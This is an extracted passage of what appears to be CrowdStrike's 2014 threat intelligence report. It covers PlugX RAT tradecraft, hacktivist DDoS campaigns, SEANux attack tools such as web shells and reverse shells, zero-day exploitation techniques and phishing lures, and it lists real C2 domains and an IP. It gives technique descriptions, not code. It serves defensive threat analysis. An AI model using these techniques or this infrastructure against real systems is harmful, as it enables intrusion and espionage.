A full command shell is also provided through access to a cmd.exe process, which sends output to the PlugX instance over named pipes for onward relay to the attackers Command-and-Control (C2) servers.
While these capabilities are not unusual for a RAT and are comparable to those provided by Poison Ivy and other tools, PlugX also offers a range of C2 protocols and execution options that help reduce the risk of being detected by network defenders.
Over time, these capabilities have been augmented with additional releases of versions and plugins, which have in turn been deployed by adversaries in active and ongoing campaigns.
For example, GOBLIN PANDA has been observed using PlugX with internal version numbers of 20140101 in campaigns since q2 2014, migrating to deployments of 20140606 versions in the second half of the year.
PlugX is most frequently delivered to targets via a spear phishing attack containing a malicious RTF or Word document leveraging exploit code for the popular CVe-2012-0158 vulnerability.
Some adversary groups also attempted to leverage the CVe-2014-1761 vulnerability as a way to maximize the chance of exploitation against more recently patched systems, with varying degrees of success.
Attacks have also been identified using PowerPoint and excel file formats, as well as self-extracting RAR files and plain executables as email attachments.
However PlugX is installed on a victim machine, typically three files are dropped on the file system after exploitation to enable initial start-up of the malware: a legitimate, digitally signed application an encrypted file containing the PlugX payload and a malicious, dynamically-linked library that is used to load the malware using the Dynamic Link Library (DLL) side-loading technique when the legitimate application is executed.
This methodology can provide a level of protection against some threat detection techniques employed by anti-virus software packages, as the parent process is a non-malicious executable.
Often, a computer security tool such as a component of a commercial anti-virus application is used for this purpose, likely to take advantage of any process whitelisting strategies that may be in place on a network.
24 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity Command and control of PlugX malware is facilitated using a range of protocols including HTTP and a binary channel over ICMP.
During 2014, CrowdStrike observed an increased use of a newer DNS C2 module that transmits data as lengthy DNS queries to adversary-controlled infrastructure.
While this mechanism deviates from some of the more typically monitored protocols, the verbosity of communication using this module may provide opportunities for detection through proactive analysis of such traffic leaving a network.
Further demonstrating the continued development of this platform, CrowdStrike observed modifications to HTTP and DNS requests produced by PlugX throughout the year, presenting an adapting challenge for detection of this threat.
However, while some adversary groups have registered domains over the course of 2014 for use in PlugX C2 (e.g., proxyme.net), there has been a continued use of domain names that have been active for a number of years, indicating the effectiveness of this infrastructure over extended periods of time.
The ongoing development of PlugX provides attackers with a flexible capability that requires continued vigilance on the part of network defenders in order to detect it reliably.
There is currently no clear evidence to suggest that use of PlugX has proliferated to adversaries attributed outside of China an increase in its deployment over the last year could be a precursor to future worldwide use, particularly as PlugX succeeds legacy capabilities such as Poison Ivy as an adversary tool of choice.
25 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity HACKTIvIST/NATIONAlIST Hacktivist- and nationalist-motivated cyber actors are a third class of adversary tracked by the CrowdStrike Intelligence team.
The goals of these actors may range from causing mischief for laughs to influencing opinions or views about a particular issue.
During the course of 2014, there were a few notable events that demonstrate the capabilities of these actors.
As electronic voting continues to be used by more and more countries, the targeting of such processes and equipment will continue to expand.
OPERATIONS TARGETING ElECTIONS In July 2014, the electronic voter registration system for the then- upcoming Tunisian presidential election suffered a cyber attack, rendering registrations impossible for an unknown amount of time.
Sources reported that the authorities had control over the attack and that it was a systematic process, intended to strike the electoral process.
This incident is yet another example of cyber attacks targeting electronic voting systems to manipulate an outcome.
CybERbERkUT In February 2014, several bloody protests took place in Ukraine resulting in the ousting of the pro-Russia prime minister, and an interim government was created with the goal of creating closer ties with the european Union (eU).
Following the protests, CyberBerkut, a self-proclaimed nationalistic hacking group, began taking credit for hacks against Ukrainian interim leaders.
The group was extremely proactive about distributing propaganda decrying the new government and recruiting pro-Russia supporters to engage in participatory Distributed Denial of Service (DDoS) attacks against a multitude of Ukrainian government and media sites.
These attacks were likely directed by Russian state services, with the CyberBerkut hacktivists providing a layer of plausible deniability.
Several of the DDoS attacks against Ukraines Central election Commission (CeC) coincided with Russian state media broadcasts, further suggesting coordination at the state level.
In one case, an attack on the CeC occurred around the time the election results were supposed to appear, while a simultaneous broadcast on Russian state media appeared to show false 26 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity results where an extremist candidate won the election by a hefty margin.
The goal of the operation was likely to cause temporary confusion over the immediate results of the election and to cause observers to question the legitimacy of the elections, which were touted as being fair and well equipped to withstand attacks.
Had the operation been successful, it likely would have incited unrest in Ukraine and supported the Russian narrative that the elections were illegitimate and that Russian intervention was needed to prevent Ukraine from slipping into complete chaos.
Whereas previous conflicts between Russia and former Soviet states estonia and Georgia saw a much heavier use of cyber tactics used to bring down critical infrastructure and disrupt communications, the efforts against Ukraine appeared muted and designed more for a disinformation campaign to stir unrest in order for Russia to intervene in Ukraine in a peacekeeper role as it did in Crimea.
The widespread publicity the conflict received in global media along with the threat of heavy sanctions imposed by the west may have been a factor in preventing more aggressive cyber action from Russia.
Although the campaign appeared to be ultimately unsuccessful, partly due to a prepared Ukrainian defense, CrowdStrike noted several interesting observations.
Though the use of a proxy to carry out attacks for the purposes of plausible deniability is hardly new, the coordination of the propaganda distributed and Russian media reporting was particularly telling with regard to how Russian state services can direct many moving parts in unison to achieve their goals via cyber means.
In addition, the participatory DDoS client software CyberBerkut advertised to help launch DDoS attacks against the Ukrainian government actually installed a backdoor on victims machines, presumably enabling Russian intelligence services to make a new botnet out of the compromised volunteers, which could be used in future conflicts.
CrowdStrike Intelligence also investigated targeted attacks by CyberBerkut against Ukrainian organizations and entities operating or doing business in Ukraine.
CyberBerkut was first observed in March 2014 when it made statements about the illegitimacy of the government that took over Ukraine 27 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity upon the ousting of former president, Viktor yanukovych.
Around this same time, the group launched DDoS attacks against state-controlled media in the country as well as against NATO entities such as the Cooperative Cyber Defense Center of excellence (CCDCOe).
In April, CyberBerkut claimed responsibility for defacing the websites of several private military companies Greystone, Triple Canopy, and Academi that they claimed were operating on the ground in Ukraine.
CyberBerkuts operations during 2014 were very much in line with the priorities of the Russian state however, it is unclear if its activity is directly state sponsored or if it is an independent group carrying out attacks motivated by Russian nationalistic ideals.
UmBREllA REvOlUTION First observed in late 2013, the Peoples Republic of China (PRC) steadily increased the use of its intelligence services and cyber operations in Hong Kong as part of a response to the protests supporting universal suffrage and democracy headed by Occupy Central ().
The Hong Kong protests fueled fears in the Chinese Communist Party (CCP), which perceives them as a threat to its one-party rule in mainland China.
This perceived threat likely prompted the flurry of malicious cyber activity taken against various organizations and citizens operating in support of the protests within Hong Kong, later dubbed the Umbrella Revolution.
The methods used were a smattering of cyber tactics and human intelligence (HUMINT) methods to collect information about leaders of the Occupy Central Movement and locations of its supporters, as well as to gain an overall picture of Hong Kong citizens perception of the protests.
This began with strategic web compromises of key websites associated with Occupy Central in late 2013, followed by extensive HUMINT activities carried out in early 2014 by suspected Ministry of State Security (MSS) officers likely 28 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity designed to elicit information from influential figures in Hong Kong and pressure them to support Beijings stance in exchange for gifts.
The protests reached a critical point when a democratic online referendum was held in June 2014 calling for open elections of Hong Kongs chief executive.
At the peak of voting, the online hosting system, Popvote (which at one point exceeded 500 gbps of traffic), suffered a massive DDoS attack.
The attackers were persistent and scaled their attacks as defenders responded to the attack, starting with Layer 3 and 4 attacks and progressively using more advanced Layer 7 attacks.
Though the voting system did persist and drew more than 780,000 votes, the apparent effort the PRC went through to down the referendum was substantial.
As the protests persisted, the PRC appeared to increase its attempts to monitor the protestors by proliferating mobile malware for both the Android and iOS operating systems.
The mobile Remote Access Tools (mRATs) were authored by two individuals with extensive ties to legacy Chinese hackers and were likely contracted out to customize malware for the purpose of monitoring protestors communications and physical locations.
In addition to these specialized attacks and extensive censorship of the Umbrella Revolution in mainland China, the PRC appears to have taken a shotgun approach to handling the protests as they persisted.
Several known China-based groups including MAVeRICK PANDA, VIXeN PANDA, TeMPeR PANDA, SABRe PANDA, and HURRICANe PANDA were observed participating in activity related to the protests, suggesting a possible cross- divisional tasking as the CCP saw support for the protests increase.
This demonstrates the variety of approaches China has when dealing with a threat to the CCPs one-party rule.
Along with the mobile targeting of most of the citizens of Hong Kong, it shows a new level of brazenness that is becoming increasingly common in Chinese cyber operations.
lizardSquad/DerpTrolling DERPTROllING The hacking collective DerpTrolling made early 2014 media headlines 29 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity after claiming a string of DDoS attacks on multiple gaming companies and online gaming servers.
The group likely originated out of the Steam gaming community, where some of its suspected members engaged in early DDoS attacks on rival gaming clans and their servers.
DerpTrollings antics were often childish and had no clear motive other than being for the lulz and to boost their own egos.
For this reason, they cannot be classified as hacktivists.
Despite their immaturity, the collective was able to consistently carry out DDoS attacks on targets of their choosing, and these attacks had a real-world effect on the victims within the gaming community.
The attacks were particularly noteworthy as their DDoS tool, dubbed the Gaben Laser Beam (GLB) after Gabe Newell, the creator of Half-Life and the Steam community, supposedly created an attack that exceeded 400 gbps of network traffic utilizing a NTP reflection attack.
This suggested DerpTrolling possessed an above-average knowledge of network protocols.
While NTP reflection is commonly known in the security community, most script kiddies or skids were not aware of some of these more advanced techniques involving amplification, which allows for fewer devices needed to pull off larger DDoS attacks.
DerpTrolling has reportedly had several run-ins with law enforcement, though it is unclear how much of this is verifiable versus a ploy to increase their notoriety.
One supposed encounter resulted in the group going silent for several months before returning and carrying out lower-level attacks on the gaming community once again.
Given the collectives poor operational security practices, it is likely that the members are actively being tracked by law enforcement agencies and that they cannot continue to maintain high- profile attacks while evading capture.
lIZARDSQUAD Another group to begin DDoS operations targeting the gaming community in 2014 is LizardSquad.
The group was characterized by DerpTrolling as much less skilled, however there may be some overlap of members between the groups.
At this time, LizardSquad has not shown any of the more advanced amplification techniques used previously by DerpTrolling.
LizardSquad quickly rose to prominence after several media stunts drew 30 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity significant attention from the press as well as law enforcement.
LizardSquad not only began claiming to be affiliates of the Islamic State of Iraq and Syria (ISIS), but also called in a bomb threat, grounding a flight on which a Sony Online entertainment executive was a passenger.
Though the group appears to have no terrorist ties, their antics quickly gained them notoriety.
LizardSquad has even poorer operational security practices than DerpTrolling, which allowed CrowdStrike to easily provide attribution on possible members of the group.
In addition, the group also admitted to renting botnets and running booters, confirming that their skill level is relatively low.
Despite this, the threat they posed to gaming companies was still noteworthy, especially when combined with terrorist threats although they were bluster, they still had considerable real-world consequences.
DEADEYE jACKAl: FAR FROM DeAD Although DeADeye JACKAL doesnt have the kind of coverage it once had in the media around its high- profile hacks, the group is still active.
It still conducts the occasional mass defacements and is focusing on improving and strengthening its dissemination pathways, including migrating to more private social media and adding a mobile site and Android app.
DeADeye JACKAL even developed and released its own Linux-based operating system, called SeANux, at the end of October 2014.
DeADeye JACKAL continues its international censorship of online articles that it deems detrimental to Syria or to Syrian President Bashar Assad.
On Thanksgiving, the group defaced just over 60 websites, including media websites.1 The websites were primarily from the United States and the United Kingdom but also included Japan, Canada, the Philippines, New Zealand, Mexico, and South Africa.
A message on DeADeye JACKALs Twitter account showed possible motivations outside of opportunistic targeting, saying The press: Please dont pretend ISIS are civilians.
The most recent cyber attack by DeADeye JACKAL was on 18 December 2014, when the group hacked the website of the International Business Times to remove an article due to its coverage of Syria, which DeADeye 1 Syrian Electronic Army hacks several websites, Forbes, Ferrari, Independent, Daily Telegraph and many other websites hijacked, 27 November 2014, http://www.techworm.
net/2014/11/syrian-electronic-army-hacks-sev- eral-websites-forbes-ferrari-independent-dai- ly-telegraph-many-websites-hijacked.html 2 Syrian Electronic Army hacks International Business Times (IBT) for alleged false coverage of Syria, 18 December 2014, http://www.
techworm.net/2014/12/syrian-electronic-ar- my-hacks-international-business-times.html 3 See The Syrian Army is Shrinking, and Assad is Running Out of Soldiers, 17 December 2014, http://www.ibtimes.com/ syrian-army-shrinking-assad- running-out-soldiers-1761914 31 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity JACKAL perceived as false.2 The deleted article discussed depleting military resources of President Assad, in terms of soldiers, since the start of the U.S. campaign in Syria against the Islamic State.
The article, however, was soon reposted by the International Business Times and remains available.3 DeADeye JACKAL used to be limited to operating through its website, Twitter account, and Facebook account, which proved problematic in some ways since their communications could be terminated more easily when Twitter or Facebook decided to shut down their accounts.
It became a joke to DeADeye JACKAL how many Facebook pages it could start up that would be shut down.
However, DeADeye JACKAL did realize that more stable and varied dissemination pathways for their messaging were needed.
Additionally, the group decided it also needed communications that would have less chance of being monitored by its enemies.
In September 2013, DeADeye JACKAL changed its email provider from Gmail to Mail.ru.
The change was likely a result of suspicions that their emails were being monitored in light of the leaks made by edward Snowden earlier in 2013.
In other moves to protect privacy, DeADeye JACKAL opened up accounts with VK, formerly VKontakte4 (the Russia-based social media website similar to Facebook owned by Mail.ru Group and ello5), a new social media website that boasts that it does not sell ads or its users data to advertisers.
It also does not allow any data mining against the users of its site.
DeADeye JACKAL also launched a mobile site for its website and an Android app.
These are all in addition to the groups already-established accounts on Pinterest6, Instagram7, youTube8, and Twitter9.
Most notably, the group developed and released its own operating system, called SeANux.
SeANux offers little overall improvement over other Linux- based systems like Kali or BackTrack.
SeANux automatically loads a desktop system monitor that makes several network requests, creating a sidebar.
The sidebar provides the user information about the system, running processes, weather (Damascus, DI, Syria), currency rates, and some other high-level information.
Also on this side bar is a small window with a feed of news from DeADeye JACKALs website10.
4 http://vk.com/syrianelectronicarmy 5 https://ello.co/syrianelectronicarmy 6 https://www.pinterest.com/officialsea/ 7 http://instagram.com/official_sea2 8 https://www.youtube.com/user/SEAOfficialChannel 9 https://twitter.com/official_sea16 10 http://sea.sy/rss/en 32 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity The most notable aspect of SeANux is the tools it offers.
SeANux offers some standard offensive/pentesting tools, including Metasploit Framework, SqLMap, nMap, Aircrack, and John the Ripper.
There is also an included directory with other miscellaneous PHP and Perl scripts, however most of these do not appear to be created by DeADeye JACKAL.
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SeANux also offers a custom set of offensive/pentesting tools including: SEA SHELL - A basic web shell.
UPLOADER - A web application for uploading files to the system where the web app is hosted.
MYSQL EXECUTOR - A web application for executing commands on local and remote MySqL servers.
JOOMLA WORDPRESS SCANNER - A web application for checking whether a remote system is running WordPress or Joomla.
EXECUTER - A very rudimentary webshell for executing system commands where the web app is hosted.
DDOS ATTACKER - A basic DDoS web application.
The adversary specifies an IP address they want to flood with TCP or UDP traffic.
WORDPRESS BRUTE FORCE ATTACKER - A web application for preforming simple brute force attack against a WordPress site.
JOOMLA BRUTE FORCE ATTACKER - A web application for preforming simple brute force against Joomla sites.
WEB SCANNER - A web application for scanning a remote web server for files and folders.
ORACLE QUERY EXECUTOR - A web application for executing commands on local and remote Oracle database servers.
ACP FINDER - A web application to scan for what are believed to be admin control panels.
BACK CONNECTION - A web application for creating a reverse shell connection allowing another computer to control where the app is hosted.
5.2.3 SAFEMODE BYPASS / 5.2.11-5.3.0 SAFE MODE BYPASS - Both are tools for attempting to bypass some of PHPs built-in security.
DeADeye JACKAL has not attempted the ruse that Anonymous did in 2012 when they released Anonymous-OS, which was found to be riddled with Trojans.
SeANux does connect to some DeADeye JACKAL-controlled 33 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity resources such as their RSS feed, images in the webshells, and a Firefox custom SeANux homepage.
It is possible for DeADeye JACKAL to monitor to see who is connecting to these resources, but outside of that, the operating system functions normally.
FRATERNAl jACKAl In 2012 and 2013, a four-phased attack known as Operation Ababil, or OpAbabil, was conducted by a group of Iranian actors targeting U.S. financial institutions with DDoS attacks.
This adversary, which CrowdStrike tracks under the name FRATeRNAL JACKAL, has been suspected of having ties to the Iranian government.
It has been known to increase attack volume during periods of economic tension between Iran and western countries.
Despite suspicion of political motivations, the group has publicly attested in several Pastebin.com posts that the motivation for these attacks are negative depictions of the Muslim Prophet Muhammad in several youTube videos.
Attacks from this adversary group have been primarily conducted using a botnet of public-facing web servers that have been exploited through vulnerable Content Management Systems (CMS).
Unlike traditional botnets in which infected hosts connect to control servers for tasking, within FRATeRNAL JACKALs botnet, nodes are directly tasked by the adversary through multiple layers of infrastructure.
CrowdStrike Intelligence continued to actively investigate this adversary during 2014, specifically seeking means by which it propagated its botnet.
In October, a PHP script was identified in connection with this adversary.
This script is used for scanning lists of domains by parsing each domains robots.txt file to identify any server running the CMS Joomla.
Domains identified from this script are directly posted to a hard-coded control server, something not seen previously by CrowdStrike with this adversarys toolkit.
Normally, performing server reconnaissance by parsing the robots.txt file of a server is a trivial task.
However, when looked at in the context of this adversarys strategic operations, it suggests that the adversary is not only 34 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity using their first-stage infrastructure for offensive actions against targets, but also for further expansion of their botnet.
Despite FRATeRNAL JACKAL no longer publicly posting motivations and notices of upcoming attacks to Pastebin, their botnet remains online and capable of performing attacks.
It is likely that in the event of future tensions between Iran and western countries, this group may publicly resurface and continue their attack campaigns.
2014 ZERO-DAY ACTIvITY The occurrence of a zero-day, or a previously unknown vulnerability being exploited in the wild, is generally an unusual occurrence.
These events almost always tell an interesting story when they are initially discovered.
During the course of 2014, there were hundreds of newly identified vulnerabilities that were categorized by Mitre under the Common Vulnerabilities and exposures (CVe) system.
Many of these were identified by researchers or vendors through auditing and other proactive security reviews.
In some cases, the vulnerabilities were first identified being used by adversaries (the development and proliferation of those vulnerabilities are a fascinating component of the threat landscape).
There were several such events that occurred this year three are particularly interesting from an adversary perspective, namely CVe-2014-0322, CVe-2014-4113, and CVe- 2014-1761.
There were numerous interesting exploits identified this year, many used by various adversaries such as the SSL Heartbleed attack (CVe- 2014-0160) and the ShellShock Bourne Again Shell (BASH) vulnerabilities (CVe-2014-6271, CVe-2014-6277, CVe-2014-6278, CVe-2014-7169, CVe- 2014-7186, and CVe-2014-7187).
These exploits were not necessarily exemplary of the related adversary narrative that helps to determine the who behind the attacks that CrowdStrike focuses on from an intelligence standpoint.
CVE-2014-0322 - INTERNET EXPLORER ARBITRARY CODE EXECUTION This zero-day vulnerability in Microsoft Internet explorer allowed code execution via specially crafted JavaScript code, making it ideal for Strategic 35 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity Web Compromise (SWC) or drive-by operations.
There were two primary campaigns associated with CVe-2014-0322.
The first to be publicly identified occurred in February 2014 and was hosted on the website of the Veterans of Foreign Wars (VFW).
This incident delivered a fairly common, publicly available RAT called ZxShell, which connected to a C2 at newss.effers.com.
This is a domain that CrowdStrike associates with the AURORA PANDA adversary.
Investigation into the VFW incident led to the discovery of other sites (savmpet.com, gifas.assso.net, and icbcqsz.com) also hosting this exploit code.
These sites not only shared the same IP address as each other, but also contained the same content that was taken from the website for the French aerospace industries association, Groupement des Industries Franaises Aronautiques et Spatiales (GIFAS).
The dates visible on these webpages and those dates found in the pages source code indicated that they were created on 17 January 2014, which predated the VFW incident by nearly a month.
However, this operation utilized drive-by tactics rather than SWC because the sites hosting the code were controlled by the adversary and not compromised legitimate sites.
The GIFAS-related activity delivered a different malware payload (Sakula) than the VFW incident (ZxShell).
The Sakula payload communicated with an entirely different C2 infrastructure than the ZxShell, oa.ameteksen.com.
This indicates that a different adversary was responsible for the GIFAS- related SWC operation.
Further investigation into this activity showed a number of similarities to a 2012 zero-day (CVe-2012-4792) SWC campaign that leveraged the website of a U.S.-based manufacturer, Capstone Turbine.
These similarities were: the use of Sakula malware, GIFAS-based subdomains related to both incidents, and the use of zero-day vulnerabilities.
At the end of 2014, CrowdStrike Intelligence also discovered potential links between this adversary and its HURRICANe PANDA adversary (discussed in more detail below) however, evaluation of these connections is still ongoing.
CVE-2014-4113 LOCAL PRIVILEgE ESCALATION every now and then, an adversary reveals their trump card when they 36 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity become desperate for access to a victims infrastructure.
This occurred in October 2014 when the Chinese adversary tracked by CrowdStrike as HURRICANe PANDA deployed a tool called Win64.exe on a compromised system that was used to invoke other programs with elevated privileges.
Analysis of the Win64.exe binary revealed that it exploits a previously unknown vulnerability to elevate its privileges to those of the SySTeM user and then create a new process with these access rights to run the command that was passed as an argument.
The file itself is only 55 kilobytes in size and contains just a few functions.
First, the exploit gained kernel execution by corrupting memory in the Windows window manager and used this increased level of authority to overwrite an access token in the ePROCeSS structure of the user-mode process with that of the SySTeM process.
From this elevation, any command passed to the executable was executed with elevated privileges.
The vulnerability was present in both 32-bit and 64-bit architectures of Windows from Windows XP to Windows 7.
The code to perform these steps is extremely well written and fully reliable.
The adversary has gone through considerable effort to minimize the chance of its discovery.
The exploit tool was only deployed when absolutely necessary during the intrusion operations, and it was deleted immediately after use.
A build timestamp of the Win64.exe binary of 3 May 2014 suggests that the vulnerability was actively exploited in the wild for at least five months prior to discovery.
What is more, after being able to characterize the exploit, earlier versions were found that indicate constant development of privilege-escalation tools.
In fact, some tools were found with exploits for similar vulnerabilities that have been addressed by Microsoft in patches released earlier in 2014.
These tools share an overall structure with the new one, indicating that the same code was used to weaponize privilege- escalation exploits for different security bugs.
These observations suggest that HURRICANe PANDA maintains an arsenal of exploits for unpatched privilege-escalation vulnerabilities.
37 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity This case underlines the necessity of tight endpoint monitoring in order to detect adversary behavior like this.
Within days of discovering the use of the exploit, CrowdStrike reported the vulnerability and a proof of concept to Microsoft, which subsequently released security bulletin MS14-058, as well as patches for all affected platforms.
CvE-2014-1761 - mICROSOFT wORD REmOTE CODE EXECUTION In 2014, CrowdStrike Intelligence spent a significant amount of time investigating operations that leveraged the new Microsoft Word exploit, CVe-2014-1761.
The exploit for this vulnerability was a bit complex, but if successful it allowed for remote code execution.
Cybercrime adversaries were the first to use the exploit in the wild however, its use soon proliferated to Russia- and China-based targeted intrusion adversaries.
The proliferation of an exploit such as CVe-2014-1761 across several adversaries is not unprecedented, but it does illustrate the possible ways in which actors are connected.
In this instance, cybercrime actors were the first observed using the exploit in the wild.
Several weeks later targeted intrusion adversaries began leveraging it in their operations.
The most likely explanation for this is that targeted intrusion adversaries were able to rediscover and develop the exploit code once a vendor advisory was released.
38 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity This seems to be the most likely because Microsoft released its initial advisory on the exploit in late March, and targeted activity began in early April.
However, another possible proliferation pathway for the exploit is a direct pass from a cybercrime actor to a targeted intrusion actor.
It is also possible that individuals involved in cybercrime operations are also carrying out targeted intrusion operations and were able to use the exploit for both purposes.
CrowdStrike Intelligence also discovered a simple builder program, which allowed malicious actors to automatically build CVe-2014-1761 exploit documents.
This allows for a decoy document and malicious executable to be combined with a malicious CVe-2014-1761 document.
The Chinese characters show that it was meant for use by Chinese adversaries, and could explain how it so easily proliferated among China-based adversaries.
PITTy PANDA is one actor who actively developed the capability to use this exploit.
This actor is interesting in that they exhibit a remarkably disparate level of sophistication.
On the one hand, the actor has proven to be one of the early groups that are able to successfully weaponize documents with an exploit for CVe-2014-1761, showing a notable level of competence in this specific matter.
On the other hand, this adversary exhibits lack of 39 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity consistence or expertise in certain other areas.
For example, the re-use of C2 domains ending in .tw certainly sticks out in target environments unrelated to Taiwan.
This was observed in attacks against western aerospace and defense companies during 2014.
Recent CrowdStrike analysis on PITTy PANDA has revealed that this actor has been operating for a longer time frame than previously assumed.
The activity likely goes back as far as June 2005, resulting in a total operational window of more than nine years.
PITTy PANDA has used at least three different RAT families, some of which have undergone continuous development.
PITTy PANDA has recently shifted their target profile toward the aerospace and defense sectors, introducing a new aspect this actors operations.
The overall goal of much of PITTy PANDAs past activity appeared to be intelligence-gathering operations of a political nature, but more recent operation point more toward the theft of intellectual property.
The development and adaptation of client-side exploits such as CVe-2014-1761 may indicate that this actor is seeking to further expand operations by investing in technical capabilities to pursue harder targets than they have previously attacked.
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Event-Driven Operations mAlAySIA AIRlINES INCIDENTS Malaysia Airlines suffered two catastrophic incidents in 2014.
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Event-Driven Operations mAlAySIA AIRlINES INCIDENTS Malaysia Airlines suffered two catastrophic incidents in 2014.
In March, one of its flights (MH370) from Kuala Lumpur to Beijing mysteriously disappeared less than an hour after takeoff.
In July, another of its flights (MH17) from Amsterdam to Kuala Lumpur was shot down while flying over a conflict zone in Ukraine.
These events received large amounts of attention in the press, and the controversy and mystery surrounding them made the incidents ideal for targeted intrusion adversaries to use in their operations.
Operations leveraging the MH370 incident in spear phish email began within days of the accident.
The TeMPeR PANDA adversary was particularly prolific in its use of MH370-related emails to deliver malicious documents that 40 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity dropped malware connecting to a known TeMPeR PANDA C2 address, www.
verizon.proxydns.com.
Activity from the LOTUS PANDA adversary and an actor using Naikon malware was also observed.
Additionally, CrowdStrike identified an incident carried out by an adversary believed to have a nexus to Pakistan.
This attack used a malicious zip archive containing a file named Malaysia Airline MH370 hijacked by Pakistan.scr.
It delivered malware more commonly known as BitterBug, which used a C2 at IP address 199.91.173.45.
Operations related to the MH17 crash appeared to be more limited, but also began within days of the incident.
A number of incidents from China-based adversaries were observed like the one identified on 22 July 2014 leveraging a decoy document concerning the black boxes on MH17 and NetTraveler malware connecting to a C2 at www.gobackto.net.
The Russia-based adversary known to CrowdStrike as FANCy BeAR also piggybacked on the MH17 disaster, targeting victims with the Sofacy malware dropped alongside a document concerning the cessation of hostilities around the crash site.
CONFlICT IN UKRAINE The conflict in Ukraine has been the motivation for a significant amount of targeted intrusion operations and other malicious cyber activity.
The conflict was leveraged to conduct operations targeting entities in Ukraine, Russia, and other countries with interests in the region.
China-based adversaries were active in targeting around this conflict.
A significant amount of the activity from Chinese actors was related to the MH17 disaster discussed above.
While other malicious operations related to these events targeted Ukrainian entities, most of the activity from China- based actors appeared to be targeted at Russian organizations.
Numerous incidents were identified leveraging Russian-language lures with content concerning security in Ukraine, such as the one below that was observed in an incident from September using PlugX malware calling to chromeupdate.
authorizeddns.org and googlesupport.proxydns.com.
41 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity One of the primary reasons for this increase in Russian targeting by China- based adversaries is likely that ties between China and Russia have recently been growing stronger.
In May 2014, the two countries agreed on a 400 billion deal for Russia to supply natural gas to China.
Additionally, they reached agreements over the construction of a bridge between the countries and the use of a port in eastern Russia they also revealed a plan to set up GPS ground stations in each others country.
This interaction between the two countries increasingly makes Russia a target of interest for Chinese targeted intrusion operations.
In addition to the China-based activity, CrowdStrike Intelligence also identified an interesting set of targeted activity apparently focused on targets within Russia.
The actor responsible employs a rather complex piece of malware that uses polymorphic DLLs and filenames customized on a per-deployment basis.
The malware was dropped alongside a wide variety of malicious documents containing exploit code for either CVe-2012-0158 or CVe-2014-1761.
Related decoy documents were both Russian and english language and contained content pertaining to Russia such as the Ukrainian conflict, an advertisement for the sale of a car from the German embassy in Moscow, and an invitation to a Russian university conference on space technology.
The actor abuses legitimate cloud infrastructure for its C2.
42 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity HIGH vOlUmE OF SOUTHEAST ASIA TARGETING Governments in Southeast Asia and organizations doing business in the region have been popular targets for China-based targeted intrusion operations for years.
China is generally interested in Southeast Asia because of its proximity and its desire to monitor activity in the region in order to retain a strategic advantage.
However, during 2014, China was more specifically motivated to carry out targeted intrusion operations in the region by tensions between it and other Southeast Asian nations, primarily Vietnam and the Philippines, due to disputes over territorial rights in the South China Sea.
The South China Sea has long been a source of tension between China and other Southeast Asian nations.
The United Nations (UN) attempted to ease these tensions in its 1982 Convention on the Law of the Sea, which granted countries in the region rights to marine and energy resources within a certain range of their coast.
This was meant to give all countries in the region some claim to vital trade routes and to the vast energy resources believed to exist there.
China disputes the UN-granted rights and stakes a historical claim to almost the entire South China Sea.
Tensions really boiled over in May 2014 when a Chinese state-owned energy company placed an oil rig, HD-981, in Vietnamese territorial waters.
The rig was deployed close to the Paracel Islands, which are claimed by both China and Vietnam.
The presence of the rig precipitated continuous clashes between Chinese and Vietnamese vessels, violent protests of Chinese businesses in Vietnam, and elevated tensions between China and other nations in the region such as the Philippines.
It was during this time in May 2014 when China-based targeted intrusion activity against entities in Southeast Asia increased significantly.
The uptick was likely due to Chinese interest in monitoring reaction of government and other organizations in the region.
Numerous adversaries (primarily GOBLIN PANDA, VIXeN PANDA, LOTUS PANDA, PReDATOR PANDA, and PIRATe PANDA) and numerous malware variants (PlugX, Poison Ivy, Mirage, enfal, and Naikon) were observed being used in these operations.
43 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity CrowdStrike Intelligence observed that GOBLIN PANDA and VIXeN PANDA were the adversaries most actively targeting Southeast Asia.
GOBLIN PANDA activity was heavily weighted towards Vietnamese targets.
This adversary used multiple malware variants during this period, but over time switched over almost entirely to PlugX malware.
Based on the decoy documents used in the incidents, it appears that Vietnamese government organizations were a primary target (although private sector targeting of foreign companies was observed as well), as the Observed tArgeting by cOuntry - june 2014 Observed tArgeting by cOuntry - MAy 2014 44 CrowdStrike Global ThreaT InTel reporT t w o t h o u s a n d f o u r t e e n Notable Activity decoys were often Vietnamese government documents.
The screenshot below is an example of one of these decoys, with this one related to Vietnams Fisheries Protection Department.
A reference to the HD-981 oil rig can be seen in the first sentence.
The C2 domain for the malware used in conjunction with this document was dns.dubkill.com.
In the regional targeting surrounding these events, VIXeN PANDA activity was observed focusing mostly on the Philippines, particularly in the area of defense.
Pictured below is a decoy document from an incident identified in April.
The only content is a header marked Secret with the letterhead for the Philippines Naval Operation Center.
The malware used in this incident was Mirage, installed using DLL side-loading, which takes advantage of the search order the operating system goes through to load DLLs.
